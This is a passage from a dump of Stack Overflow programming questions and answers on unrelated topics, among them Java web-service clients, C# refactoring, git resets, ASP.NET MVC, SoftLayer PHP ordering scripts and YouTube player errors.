'https://dadosbiometricos.valid.com.br/DadosBiometricos.svc?wsdl', retrying as a local file"); logger.warning(e.getMessage()); } DADOSBIOMETRICOS_WSDL_LOCATION = url; } public DadosBiometricosValid(URL wsdlLocation, QName serviceName) { super(wsdlLocation, serviceName);//line that throws exception } public DadosBiometricosValid() { super(DADOSBIOMETRICOS_WSDL_LOCATION, new QName("http://tempuri.org/", "DadosBiometricos")); } /** * * @return * returns IDadosBiometricos */ @WebEndpoint(name = "WSHttpBinding_IDadosBiometricos") public IDadosBiometricosValid getWSHttpBindingIDadosBiometricos() { return super.getPort(new QName("http://tempuri.org/", "WSHttpBinding_IDadosBiometricos"), IDadosBiometricosValid.class); } /** * * @param features * A list of {@link javax.xml.ws.WebServiceFeature} to configure on the proxy. Supported features not in the &lt;code&gt;features&lt;/code&gt; parameter will have their default values. * @return * returns IDadosBiometricos */ @WebEndpoint(name = "WSHttpBinding_IDadosBiometricos") public IDadosBiometricosValid getWSHttpBindingIDadosBiometricos(WebServiceFeature... features) { return super.getPort(new QName("http://tempuri.org/", "WSHttpBinding_IDadosBiometricos"), IDadosBiometricosValid.class, features); } } </code></pre>
7229396	0	how to avoid the repeated code to increase the efficiency <p>I have a <code>DataGrid</code> view1 and a <code>ListView</code> and when ever I select the list view item(I am passing the <code>ListView</code> item into the query and populating the <code>DataGrid</code> view according that item) </p> <p>I have wrote some code like this....</p> <pre><code> private void listview_selectedindexchanged(object sender event args) { if (listview.SelectedItems.Count &gt; 0 &amp;&amp; listview.SelectedItems[0].Group.Name == "abc") { if(lstview.SelectedItems[0].Text.ToString() == "sfs") { method1(); } else { // datagrid view1 binding blah..... } } if (lstview.SelectedItems.Count &gt; 0 &amp;&amp; lstview.SelectedItems[0].Group.Name == "def") { if(lstview.SelectedItems[0].Text.ToString() == "xyz") { method 1(); } if(lstview.SelectedItems[0].Text.ToString() == "ghi") { method 2(a,b); } if(lstview.SelectedItems[0].Text.ToString() == "jkl") { method 2(c,d); } if(lstview.SelectedItems[0].Text.ToString() == "mno") { method 3(); } } } private void method 1() { // datagrid view1 binding blahh } private void method 2(e,g) { // datagrid view1 binding blah....blah.. } private void method 3() { // datagrid view1 binding } </code></pre> <p>I have done it like above ... I think this is not an efficient way to do the coding. and this code consisits of a lot of repeated lines, is there any way to refractor this code to a small bunch of code ...... in order improve the efficiency? </p> <p>Any ideas and sample snippets for increasing code efficiency would be helpful to me ...</p> <p>Many thanks in advance....</p> <p>I am using c# and writting WinForms applications.....</p>
3408956	0	 <p>The significant location change is present in Android SDK</p> <p>when you subscribe to get location updates you can add a <code>minTime</code> and <code>minDistance</code> that must pass between broadcasts</p> <pre><code>public void requestLocationUpdates (String provider, long minTime, float minDistance, LocationListener listener) </code></pre> <p>check out the description of the method [here][1]</p> <p>[1]: <a href="http://developer.android.com/reference/android/location/LocationManager.html#requestLocationUpdates(java.lang.String" rel="nofollow noreferrer">http://developer.android.com/reference/android/location/LocationManager.html#requestLocationUpdates(java.lang.String</a>, long, float, android.location.LocationListener)</p>
29465283	0	ObjC macro ifdef and defined <p>I'm trying to do a macro where if AAA and BBB does not exists. Something like this:</p> <pre><code>#ifdef !AAA &amp;&amp; !BBB #endif </code></pre> <p>or this:</p> <pre><code>#ifndef AAA || BBB #endif </code></pre> <p>However, Xcode is throwing me errors, so I've tried <code>#ifdef !(defined AAA) &amp;&amp; !(defined BBB)</code> or some other such combinations and it seems like Xcode doesn't seems to understand defined. I'm getting "Macro names must be identifiers" or "Extra tokens at the end of #ifdef directive" errors.</p> <p>Any idea how I could workaround this problem?</p>
27177339	0	 <p>I had the same issue. It turned out that my new MySQL DB had an issue.</p> <p>I restored the DB with innobackupex and didn't apply the <code>--apply-log</code> parameter on the backup directory to create the correct log files for the InnoDB engine.</p> <p>Check your MySQL error log file to make sure that everything is normal. The log file's location is <code>/var/log/mysql/[hostname].err</code>.</p>
20157755	0	 <p>I never got this to work under Grails 2.1.1, but apparently this was fixed in <a href="http://grails.org/doc/2.3.x/guide/introduction.html#whatsNew23" rel="nofollow">Grails 2.3</a>,</p> <blockquote> <p>Binding Request Body To Command Objects If a request is made to a controller action which accepts a command object and the request includes a body, the body will be parsed and used to do data binding to the command object. This simplifies use cases where a request includes a JSON or XML body (for example) that can be bound to a command object. See the Command Objects documentation for more details.</p> </blockquote>
12578159	0	 <p>The following set of commands should get you into an identical state with the remote branch:</p> <pre><code>git checkout -f master # Check out the local 'master' branch git fetch origin # Fetch the 'origin' remote git reset --hard origin/master # Reset all tracked files to remote state git clean -dxff # Remove all non-tracked files </code></pre> <p>Note that (for obvious reasons), these commands are potentially destructive - that is, any local changes that are overwritten by this and not saved in a commit accessible by some other means will be lost.</p>
5050788	0	 <p>You usually have two actions on the controller: one for rendering the form and one for processing the posted form values. Typically it looks like this:</p> <pre><code>public class SellerController: Controller { // used to render the form allowing to create a new seller public ActionResult Create() { var seller = new Seller(); return View(seller); } // used to handle the submission of the form // the seller object passed as argument will be // automatically populated by the default model binder // from the POSTed form request parameters [HttpPost] public ActionResult Create(Seller seller) { if (ModelState.IsValid) { listingsDB.Sellers.AddObject(seller); listingsDB.SaveChanges(); return RedirectToAction("Details", new { id = seller.SellerID }); } return View(seller); } } </code></pre> <p>then your view looks as you have shown, it contains a form and input fields allowing the user to fill each property of the model. When it submits the form, the second action will be invoked and the default model binder will automatically fill the action parameter with the values entered by the user in the form.</p>
26487825	0	 <p>It seems that bug is due to mezzanine app, I'm using <a href="https://github.com/stephenmcd/mezzanine/issues/1132" rel="nofollow">https://github.com/stephenmcd/mezzanine/issues/1132</a></p>
20867760	0	Empty fields when I execute the select query <p>I have table <code>tableq</code> with columns lets say; a, b, c, d, e, f. in column <code>f</code> null values are allowed of which there are some null field in column <code>f</code>.</p> <p>Now I want to select a,b,c,d,e columns where <code>f</code> is null. Like this: </p> <pre><code>select a, b, c, d, e from tableq where f isnull </code></pre> <p>But it is returning empty fields when I run the query whereas there are 3 rows with null values in f column.</p>
13253311	0	 <p>The Exception is occurring when <code>MediaPlayer</code> in package <code>mediaplayer</code> calls for an embedded resource at <code>"icons/exit.png"</code>. This would resolve to a path of:</p> <pre><code>mediaplayer/icons/exit.png </code></pre> <p>I am guessing that is not the path, which is <em>actually</em>.</p> <pre><code>icons/exit.png </code></pre> <hr> <p>That is why the <code>String</code> needs to be <strong><code>"/icons/exit.png"</code></strong> - note the <strong><code>/</code> prefix.</strong></p> <p>The <code>/</code> that precedes the <code>String</code> informs the class-loader that we mean it to search for the resource from the root of the class path, as opposed to the package of the class from which it is called.</p>
10003354	0	 <p>You can use the <code>sys</code> module...</p> <pre><code>import sys myFile=sys.stdout myFile.write("Hello!\n") </code></pre> <p><code>sys.stderr</code> is also available.</p>
7267570	0	How to deploy unversioned files with TeamCity <p>I have a website organized like this :</p> <ul> <li>a server with all the code</li> <li>a server with all the other ressources like files/images </li> </ul> <p>At this point I managed to get the source code from subversion, build it, and then deploy it (msbuild).</p> <p>The thing is, my images are not versioned. So how can I do to take the images from our dev server to our build server ? What is the best way to put it into Team City ? I think that these files re some kind of artifact but I'm not sure (I don't understand very well this notion, the title "artifact" doesn't help).</p>
10925210	0	How can I conditionally suppress logging in Express (or Connect)? <p>When using the logger middleware which is part of Connect (as well as Express), I would like to be able to disable logging on certain requests, say by setting a flag on the response or something.</p> <p>I managed to do it by saying:</p> <pre><code>res.doNotLog = true; </code></pre> <p>and then, deep in logger.js (part of the Connect module), I put</p> <pre><code>if(res.doNotLog) return; </code></pre> <p>in the right place. But of course I don't want to be modifying code in the module itself. Is there any way I can cause the same to happen without having to hack the module?</p> <p><strong>Edit:</strong></p> <p>This worked:</p> <pre><code>var app = _express.createServer(); // set 'hello' routing...note that this is before middleware // so it won't be logged app.get('/sayhello', function(req, res) {res.send("hey");}); // configure middleware: logging, static file serving app.configure(function() { app.use(_express.logger()); app.use(_express.static(__dirname + '/www')); }); // set 'goodbye' routing...note that this is after middleware // so it will be logged app.get('/saygoodbye', function(req, res) {res.send("later...");}); </code></pre>
33682821	0	 <p>I hope these php scripts can help you:</p> <p>Order SSL Certificates</p> <pre><code> &lt;?php /** * Order SSL certificate * * This script orders a SSL Certificate * * Important manual pages: * @see http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/placeOrder * @see http://sldn.softlayer.com/reference/datatypes/SoftLayer_Container_Product_Order * @see http://sldn.softlayer.com/reference/datatypes/SoftLayer_Container_Product_Order_Security_Certificate * * @license &lt;http://sldn.softlayer.com/wiki/index.php/license&gt; * @author SoftLayer Technologies, Inc. &lt;sldn@softlayer.com&gt; */ require_once "C:/PhpSoftLayer/SoftLayer/SoftLayer/XmlrpcClient.class.php"; /** * Your SoftLayer API username * @var string */ $username = "set me"; /** * Your SoftLayer API key * Generate one at: https://control.softlayer.com/account/users * @var string */ $apiKey = "set me"; // Create a SoftLayer API client object for "SoftLayer_Product_Order" services $productService = Softlayer_XmlrpcClient::getClient("SoftLayer_Product_Order", null, $username, $apiKey); /** * Define SSL Certificates Properties * @var int $quantity * @var int $packageId * @var int $serverCount * @var int $validityMonths * @var string $orderApproverEmailAddress * @var string $serverType */ $quantity = 1; $packageId = 210; $serverCount = 1; $validityMonths = 24; $serverType = "apache2"; $orderApproverEmailAddress = "admin@rubtest.com"; /** * Build a skeleton SoftLayer_Container_Product_Order_Attribute_Contact object for administrativeContact, * billingContact, technicalContact and organizationInformation properties. You can use the same information * for all of these properties, or you can create this object for each one. * @var string addressLine1 * @var string city * @var string countryCode * @var string postalCode * @var string state * @var string email * @var string firstName * @var string lastName * @var string organizationName * @var string phoneNumber * @var string title */ $addressInfo = new stdClass(); $addressInfo -&gt; address = new stdClass(); $addressInfo -&gt; address -&gt; addressLine1 = "Simon Lopez Av."; $addressInfo -&gt; address -&gt; city = "Cochabamba"; $addressInfo -&gt; address -&gt; countryCode = "BO"; $addressInfo -&gt; address -&gt; postalCode = "0591"; $addressInfo -&gt; address -&gt; state = "OT"; $addressInfo -&gt; emailAddress = "noreply@softlayer.com"; $addressInfo -&gt; firstName = "Ruber"; $addressInfo -&gt; lastName = "Cuellar"; $addressInfo -&gt; organizationName = "TestCompany"; $addressInfo -&gt; phoneNumber = "7036659886"; $addressInfo -&gt; title = "TitleTest"; /** * Define a collection of SoftLayer_Product_Item_Price objects. You can verify the item available for a given package using * SoftLayer_Product_Package::getItemPrices method * @see http://sldn.softlayer.com/reference/services/SoftLayer_Product_Package/getItemPrices */ $price = new stdClass(); $price-&gt;id = 1836; /** * Declare the CSR * @var string */ $certificateSigningRequest = "-----BEGIN CERTIFICATE REQUEST----- MIIC8TCCAdkCAQAwgasxCzAJBgNVBAYTAkNaMR8wHQYDVQQIExZDemVjaCBSZXB1 YmxpYywgRXVyb3BlMRQwEgYDVQQHEwtQcmFndWUgQ2l0eTEWMBQGA1UEChMNTXkg VW5saW1pbnRlZDEMMAoGA1UECxMDVlBOMRQwEgYDVQQDEwtydWJ0ZXN0LmNvbTEp MCcGCSqGSIb3DQEJARYacnViZXIuY3VlbGxhckBqYWxhc29mdC5jb20wggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDnusRc9LDjfm21A/fz1UhuMoUqkeji BX/oTXsD/GmRaraOb0QnzjGoaM2K07nMENpQiJRpmEj3tEKwAXNitlapLwlXFvB7 rVd9lkvGmCIEkkDp5nbsdejS7BqJ8ikgEI+HATmdoyi9jxWrM/i6c9pnhF4j9ejI XQnxd3yvpuxgybF3tN+HOOpXwVH4FQC7x/FRRai8jNxd2f+VzW7EgtIYxgl3L8gr 4DPPAAiX07lEAccEEUhQ3/LbTlSPiT0hiGh8tMcImYFDDyGOIRJKXSptuvYgwHRC 67D6fzT4ITtG2XMkzo5kgyZtwemRiikAzVbmtEFKwht0j0Q+3nf1Yv2BAgMBAAGg ADANBgkqhkiG9w0BAQUFAAOCAQEAJCRjsdmVhcM+mKbG8NE4YdDyBfKvC03g/mCn wWZWca1uRbYeJUNH2/LFy9tQ/8J07Cx0KcPmRnHbXkZaSMHsorv4sg6M3XDRaIiu D/ltOZYlGYC1zFVM+pgiQd84krO0lTf/NiJxyyL3e3owO91h07jPuGGFygSOeKZa cMMNdLQlPfZIS+hwZUuJSgormGhr+dfPkHbjP3l3X+uO59VNE+1zHTctCqooyCRa HrHFjNbVD4Ou7Ff6B0LUiw9I54jH69MrtxdrsF+kvOaa44fN1NjqlM1sI4ZQs0O1 15B5NKrFMxG+5BrZYL7n8qEzra7WYFVrebjKexQqSBi4B6XU+g== -----END CERTIFICATE REQUEST-----"; /* * Build a skeleton SoftLayer_Container_Product_Order object with details required to order */ $container = new stdClass(); $container -&gt; complexType = "SoftLayer_Container_Product_Order_Security_Certificate"; $container -&gt; packageId = $packageId; $container -&gt; quantity = $quantity; $container -&gt; serverCount = $serverCount; $container -&gt; serverType = $serverType; $container -&gt; prices = array($price); $container -&gt; certificateSigningRequest = $certificateSigningRequest; $container -&gt; validityMonths = $validityMonths; $container -&gt; orderApproverEmailAddress = $orderApproverEmailAddress; // technicalContact, administrativeContact, organizationInformation and billingContact $container -&gt; technicalContact = $addressInfo; $container -&gt; administrativeContact = $addressInfo; $container -&gt; organizationInformation = $addressInfo; $container -&gt; billingContact = $addressInfo; $order = new stdClass(); $order-&gt;orderContainers = array(); $order-&gt;orderContainers[0] = $container; try { /* * SoftLayer_Product_Order::verifyOrder() method will check your order for errors. Replace this with a call * to placeOrder() when you're ready to order. Both calls return a receipt object that you can use for your * records. */ $result = $productService -&gt; verifyOrder($order); print_r($result); } catch(Exception $e) { echo "Unable to order SSL Certificates: " . $e -&gt; getMessage(); } </code></pre> <p>Order Firewall Device</p> <pre><code>&lt;?php /** * Order dedicated Firewall for a Device (Virtual Guest) * Important manual pages: * http://sldn.softlayer.com/reference/datatypes/SoftLayer_Container_Product_Order_Network_Protection_Firewall_Dedicated * http://sldn.softlayer.com/reference/datatypes/SoftLayer_Product_Item_Price * http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/verifyOrder * http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/placeOrder * * License &lt;http://sldn.softlayer.com/article/License&gt; * Author SoftLayer Technologies, Inc. &lt;sldn@softlayer.com&gt; */ require_once "C:/PhpSoftLayer/SoftLayer/SoftLayer/SoapClient.class.php"; /** * Your SoftLayer API username * @var string */ $username = "set me"; /** * Your SoftLayer API key * Generate one at: https://control.softlayer.com/account/users * @var string */ $apiKey = "set me"; // Define the virtual guest Id that you wish to add the firewall $virtualGuestId = 5074554; // Creating a SoftLayer API client object $softLayerProductOrder = SoftLayer_SoapClient::getClient('SoftLayer_Product_Order', null, $username, $apiKey); /** * Building a skeleton SoftLayer_Product_Item_Price objects. These objects contain * much more than ids, but SoftLayer's ordering system only needs the price's id * to know what you want to order. * to get the list of valid prices for the package * use the SoftLayer_Product_Package:getItems method */ $prices = array ( 409, # Price to 100Mbps Hardware Firewall ); /** * Convert our item list into an array of skeleton * SoftLayer_Product_Item_Price objects. */ $orderPrices = array(); foreach ($prices as $priceId){ $price = new stdClass(); $price-&gt;id = $priceId; $orderPrices[] = $price; } // Define location, packageId and quantity $location = "AMSTERDAM"; $packageId = 0; // The package Id for order monitoring packages is 0 $quantity = 1; // Build a skeleton SoftLayer_Virtual_Guest object to model the id // of the virtual guest where you want add the monitoring package $virtualGuests = new stdClass(); $virtualGuests-&gt;id = $virtualGuestId; $orderVirtualGuest = array ( $virtualGuests ); // Build a SoftLayer_Container_Product_Order_Network_Protection_Firewall_Dedicated object containing // the order you wish to place. $orderContainer = new stdClass(); $orderContainer-&gt;location = $location; $orderContainer-&gt;packageId = $packageId; $orderContainer-&gt;prices = $orderPrices; $orderContainer-&gt;quantity = $quantity; $orderContainer-&gt;virtualGuests = $orderVirtualGuest; try { // Re-declare the order template as a SOAP variable, so the SoftLayer // ordering system knows what type of order you're placing. $orderTemplate = new SoapVar ( $orderContainer, SOAP_ENC_OBJECT, 'SoftLayer_Container_Product_Order_Network_Protection_Firewall', 'http://api.service.softlayer.com/soap/v3.1/' ); /* * SoftLayer_Product_Order::verifyOrder() method will check your order for errors. Replace this with a call * to placeOrder() when you're ready to order. Both calls return a receipt object that you can use for your * records. */ $receipt = $softLayerProductOrder-&gt;verifyOrder($orderTemplate); print_r($receipt); } catch (Exception $e) { echo 'Unable to order the firewall for device: ' . $e-&gt;getMessage(); } </code></pre> <p>Firewall for VLAN</p> <pre><code>&lt;?php /** * Order Firewall for a VLAN * Important manual pages: * http://sldn.softlayer.com/reference/datatypes/SoftLayer_Container_Product_Order_Network_Protection_Firewall_Dedicated * http://sldn.softlayer.com/reference/datatypes/SoftLayer_Product_Item_Price * http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/verifyOrder * http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/placeOrder * * License &lt;http://sldn.softlayer.com/article/License&gt; * Author SoftLayer Technologies, Inc. &lt;sldn@softlayer.com&gt; */ require_once "C:/PhpSoftLayer/SoftLayer/SoftLayer/SoapClient.class.php"; /** * Your SoftLayer API username * @var string */ $username = "set me"; /** * Your SoftLayer API key * Generate one at: https://control.softlayer.com/account/users * @var string */ $apiKey = "set me"; // Create a SoftLayer API client object for "SoftLayer_Product_Order" services $softLayerProductOrder = Softlayer_SoapClient::getClient("SoftLayer_Product_Order", null, $username, $apiKey); // Declare the vlan id that you wish to add the firewall $vlanId = 765032; /** * Building a skeleton SoftLayer_Product_Item_Price objects. These objects contain * much more than ids, but SoftLayer's ordering system only needs the price's id * to know what you want to order. * to get the list of valid prices for the package * use the SoftLayer_Product_Package:getItemPrices method */ $prices = array ( 2390, // Hardware Firewall (Dedicated) //21514, FortiGate Security Appliance ); /** * Convert our item list into an array of skeleton * SoftLayer_Product_Item_Price objects. */ $orderPrices = array(); foreach ($prices as $priceId){ $price = new stdClass(); $price-&gt;id = $priceId; $orderPrices[] = $price; } // Declare the location, packageId and quantity $location = "AMSTERDAM"; $packageId = 0; // The package Id for order Firewalls $quantity = 1; // Build a SoftLayer_Container_Product_Order_Network_Protection_Firewall_Dedicated object containing // the order you wish to place. $orderContainer = new stdClass(); $orderContainer-&gt;location = $location; $orderContainer-&gt;packageId = $packageId; $orderContainer-&gt;prices = $orderPrices; $orderContainer-&gt;quantity = $quantity; $orderContainer-&gt; vlanId = $vlanId; try { // Re-declare the order template as a SOAP variable, so the SoftLayer // ordering system knows what type of order you're placing. $orderTemplate = new SoapVar ( $orderContainer, SOAP_ENC_OBJECT, 'SoftLayer_Container_Product_Order_Network_Protection_Firewall_Dedicated', 'http://api.service.softlayer.com/soap/v3/' ); /* * SoftLayer_Product_Order::verifyOrder() method will check your order for errors. Replace this with a call * to placeOrder() when you're ready to order. Both calls return a receipt object that you can use for your * records. */ $receipt = $softLayerProductOrder-&gt;verifyOrder($orderTemplate); print_r($receipt); } catch (Exception $e) { echo 'Unable to place the order: ' . $e-&gt;getMessage(); } </code></pre> <p>Order Security Software (Anti Virus)</p> <pre><code>&lt;?php /** * Purchase an Anti-virus for a server * * Important manual pages: * @see http://sldn.softlayer.com/reference/services/SoftLayer_Ticket * @see http://sldn.softlayer.com/reference/services/SoftLayer_Ticket/createUpgradeTicket * * @license &lt;http://sldn.softlayer.com/wiki/index.php/license&gt; * @author SoftLayer Technologies, Inc. &lt;sldn@softlayer.com&gt; */ require_once "C:/PhpSoftLayer/SoftLayer/SoftLayer/SoapClient.class.php"; /** * Your SoftLayer API username * @var string */ $username = "set me"; /** * Your SoftLayer API key * Generate one at: https://control.softlayer.com/account/users * @var string */ $apiKey = "set me"; /** * Define the hardware id where you wish to add the McAfee ANtivirus * @var int $attachmentId */ $attachmentId = 251708; // Define a brief description of what you wish to upgrade $genericUpgrade = "Add / Upgrade Software"; // $upgradeMaintenanceWindow = "9.30.2015 (Wed) 01:00(GMT-0600) - 04:00(GMT-0600)"; // Declare a detailed description of the server or account upgrade you wish to perform $details ="I would like additional information on adding McAfee AntiVirus (5$.00 monthly) to my account."; // Declare the attachmentType e.g. HARDWARE - VIRTUAL_GUEST - NONE $attachmentType = "HARDWARE"; // Create a SoftLayer API client object for "SoftLayer_Ticket" service $ticketService = SoftLayer_SoapClient::getClient("SoftLayer_Ticket", null, $username, $apiKey); try { $result = $ticketService -&gt; createUpgradeTicket($attachmentId, $genericUpgrade, $upgradeMaintenanceWindow, $details, $attachmentType); print_r($result); } catch(Exception $e) { echo "Unable to create the ticket: " . $e -&gt; getMessage(); } </code></pre>
18229771	0	 <p>You should be able to use any of the fields in product data in the admin panel such as Location that you already referenced.</p> <p>Everything from the <code>product</code> table for your requested row should be present in the <code>$product_info</code> array.</p> <p>Try something like this:</p> <pre><code>$template = ($product_info['location'] == 'accessory') ? 'accessory.tpl' : 'product.tpl'; if (file_exists(DIR_TEMPLATE . $this-&gt;config-&gt;get('config_template') . '/template/product/' . $template)) { $this-&gt;template = $this-&gt;config-&gt;get('config_template') . '/template/product/' . $template; } else { $this-&gt;template = 'default/template/product/' . $template; } </code></pre> <p>If you anticipate there will be many different templates for different locations it would be more efficient to use a switch control.</p> <pre><code>switch ($product_info['location']): case 'accessory': $template = 'accessory.tpl'; break; case 'tool': $template = 'tool.tpl'; break; default: $template = 'product.tpl'; break; endswitch; if (file_exists(DIR_TEMPLATE . $this-&gt;config-&gt;get('config_template') . '/template/product/' . $template)) { $this-&gt;template = $this-&gt;config-&gt;get('config_template') . '/template/product/' . $template; } else { $this-&gt;template = 'default/template/product/' . $template; } </code></pre> <p>Hope that helps.</p>
24533397	0	 <p>When the server is restarted it loses the connections of all the connected publishers and subscribers just like any other server, so obviously the live stream sources for the hls streams will be gone. The segments themselves only exist up to the maximum segment count per stream, this could be set to some really large number to keep all the segments and thus providing a vod type stream. As the creator of the plug-in, I don't recall if vod is supported out-of-the-box, so you'll have to do a little discovery there. </p>
8678625	0	 <p>Put the complete code in brackets : </p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *SimpleTableIdentifier = @"SimpleTableIdentifier"; NSArray *listData =[self-&gt;tableContents objectForKey: [self-&gt;sortedKeys objectAtIndex:[indexPath section]]]; UITableViewCell * cell = [tableView dequeueReusableCellWithIdentifier: SimpleTableIdentifier]; if(cell == nil) { cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:SimpleTableIdentifier]; NSUInteger row = [indexPath row]; textClass *myText = (textClass*)[listData objectAtIndex:row]; cell.textLabel.text = myText.text; UIImageView *unchecked = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"unchecked.png"]]; UIImageView *checked = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"checked.png"]]; cell.accessoryView = (myText.isChecked ? checked : unchecked); } return cell; } </code></pre> <p>This should definitely work.</p>
24005181	0	 <p>I got the same problem using Robomongo. I solve it creating the function manually on shell.</p> <p>Right-click on your database -> Open Shell.</p> <pre><code>db.system.js.save({ _id : "getNextSequence" , value : function (name) { var ret = db.counters.findAndModify({ query: { _id: name }, update: { $inc: { seq: 1 } }, new: true }); return ret.seq; } }); </code></pre>
13408052	0	 <p>You need to traverse to the sibling <code>a</code> since that's where your image is</p> <pre><code>$(this).parent().unbind("mouseenter").siblings('a').children("img").attr("src", "http://www.onlinegrocerystore.co.uk/images/goodfood.jpg"); </code></pre> <p><a href="http://jsfiddle.net/WAvVw/" rel="nofollow">http://jsfiddle.net/WAvVw/</a> </p> <p><b>EDIT</b></p> <p>You need to traverse to get the element which you bound hover to</p> <pre><code>$(this) .closest('.specialHoverOne') // get element you bound hover to .unbind("mouseenter") // unbind event .end() // start over at this .parent() // get parent .siblings('a') //find a sibling .children("img") // get children img .attr("src", "http://www.onlinegrocerystore.co.uk/images/goodfood.jpg"); // change src </code></pre> <p><a href="http://jsfiddle.net/mwPeb/" rel="nofollow">http://jsfiddle.net/mwPeb/</a> </p> <p>I'm sure there's a better way to traverse but I'm short on time right now </p>
16547451	0	 <p>I'd like to recommend these:</p> <ol> <li><p>Add the namespace to your class file. using System.Net.Mail;</p></li> <li><p>Provide arguments when you call the function (SendMailMessage).</p></li> <li><p>Make class SendMail as a static class, SendMailMessage as static function.</p></li> </ol>
27579834	0	java.lang.IllegalStateException: YouTubeServiceEntity not initialized error when using YouTubePlayerApi <p>I'm using YouTubePlayerAPi and YouTubePlayerSupportFragment in my app and i'm getting this error reported, but i can't find out what is causing it. I've looking for information but there is no much about...</p> <p>In The stackstrace there is any line error pointing to any of my classes or activities... </p> <p>Any idea of it?</p> <pre><code>java.lang.IllegalStateException: YouTubeServiceEntity not initialized at android.os.Parcel.readException(Parcel.java:1433) at android.os.Parcel.readException(Parcel.java:1379) at com.google.android.youtube.player.internal.l$a$a.a(Unknown Source) at com.google.android.youtube.player.internal.o.a(Unknown Source) at com.google.android.youtube.player.internal.ad.a(Unknown Source) at com.google.android.youtube.player.YouTubePlayerView.a(Unknown Source) at com.google.android.youtube.player.YouTubePlayerView$1.a(Unknown Source) at com.google.android.youtube.player.internal.r.g(Unknown Source) at com.google.android.youtube.player.internal.r$c.a(Unknown Source) at com.google.android.youtube.player.internal.r$b.a(Unknown Source) at com.google.android.youtube.player.internal.r$a.handleMessage(Unknown Source) at android.os.Handler.dispatchMessage(Handler.java:99) at android.os.Looper.loop(Looper.java:137) at android.app.ActivityThread.main(ActivityThread.java:5041) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:511) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560) at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>Thanks!</p> <p><strong>EDIT</strong></p> <p>My custom YoutubePlayerFragment Class: YouTubeVideoPlayerFragment.java</p> <pre><code>public class YouTubeVideoPlayerFragment extends YouTubePlayerSupportFragment { private static final String ARG_URL = "url"; // =========================================================== // Constructors // =========================================================== /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public YouTubeVideoPlayerFragment() { } /** * Factory method to generate a new instance of the fragment given a video URL. * * @param url The video url this fragment represents * @return A new instance of this fragment with itemId extras */ public static YouTubeVideoPlayerFragment newInstance(String url) { final YouTubeVideoPlayerFragment mFragment = new YouTubeVideoPlayerFragment(); // Set up extras final Bundle args = new Bundle(); args.putString(ARG_URL, url); mFragment.setArguments(args); // Initialize YouTubePlayer mFragment.init(); return mFragment; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } private void init(){ initialize(Constants.API_KEY, new YouTubePlayer.OnInitializedListener() { @Override public void onInitializationSuccess(YouTubePlayer.Provider provider, YouTubePlayer youTubePlayer, boolean wasRestored) { if (!wasRestored) { youTubePlayer.cueVideo(getArguments().getString(ARG_URL)); youTubePlayer.setShowFullscreenButton(false); } } } </code></pre> <p>fragment.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout android:layout_height="match_parent" android:layout_width="match_parent" android:background="@color/black" &gt; &lt;!-- For YoutubeFragment --&gt; &lt;FrameLayout android:id="@+id/youtube_fragment" android:layout_width="match_parent" android:layout_height="match_parent" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>calling method:</p> <pre><code>// Create a new instance of YouTubeVideoPlayerFragment providing video id // and place it in the corresponding FrameLayout final YouTubeVideoPlayerFragment youTubeVideoPlayerFragment = YouTubeVideoPlayerFragment.newInstance(VIDEO_ID); final FragmentTransaction ft = getChildFragmentManager().beginTransaction(); ft.replace(R.id.youtube_fragment, youTubeVideoPlayerFragment); ft.commit(); </code></pre> <p><strong>EDIT</strong></p> <p>I've found out the origin of that error. This is the scenario: The Activity starts. In onCreate() instantiate a new YouTubeVideoPlayerFragment and initialize youTube object (which start the YouTubeServiceEntity internally) in its newInstance() method. Then the youtube fragment instantiated before, is attached with fragmentManager to the corresponding FrameLayout while video is loading. </p> <p><strong>Here is the issue:</strong> If user exits activity before video had been loaded, the exception is caused. </p> <p>So if the user want to exit activity in that case... What should i do and how?? i don't really know what to do!</p>
8153397	0	 <p>Tom,</p> <p>I too have been experiencing issues with Sql CE and the Entity Framework. BUT, I may be able to explain the post that you are referencing because I am versed in using it now that I have fought my way through it. </p> <p>For starters, that blog entry was for the MVCScaffolding NuGet package. Not sure if you know what this package does but it basically adds a reference to the Scaffolder that Scott &amp; Company created to dynamically generate CRUD for you once you have built your models. </p> <p>My understanding is that once you create a model, build your project, you can run the following command in the Package Manager Console and it will create the CRUD that I mentioned above.</p> <pre><code>Scaffold Controller [WhateverYourModelNameIs] </code></pre> <p>Now, once this process is complete, it generates a Context class for your application under the Models folder. If you see above in your code (for SQLCEEntityFramework.cs) in the Start method, it mentions that you need to uncomment the last line of the method in order for it to create the db if it does not exist.</p> <p>Lastly, once you execute your application, a SQL CE database "should" be created and if you click on the App_Data folder and choose to 'Show All Files' at the top of the Solution Explorer and hit the Refresh icon, you should see your database.</p> <p><strong>UPDATE:</strong></p> <p>So sorry, after testing this, Tom, you are correct. Only way the database is created is if you execute one of the views that were created by the Scaffolder. </p>
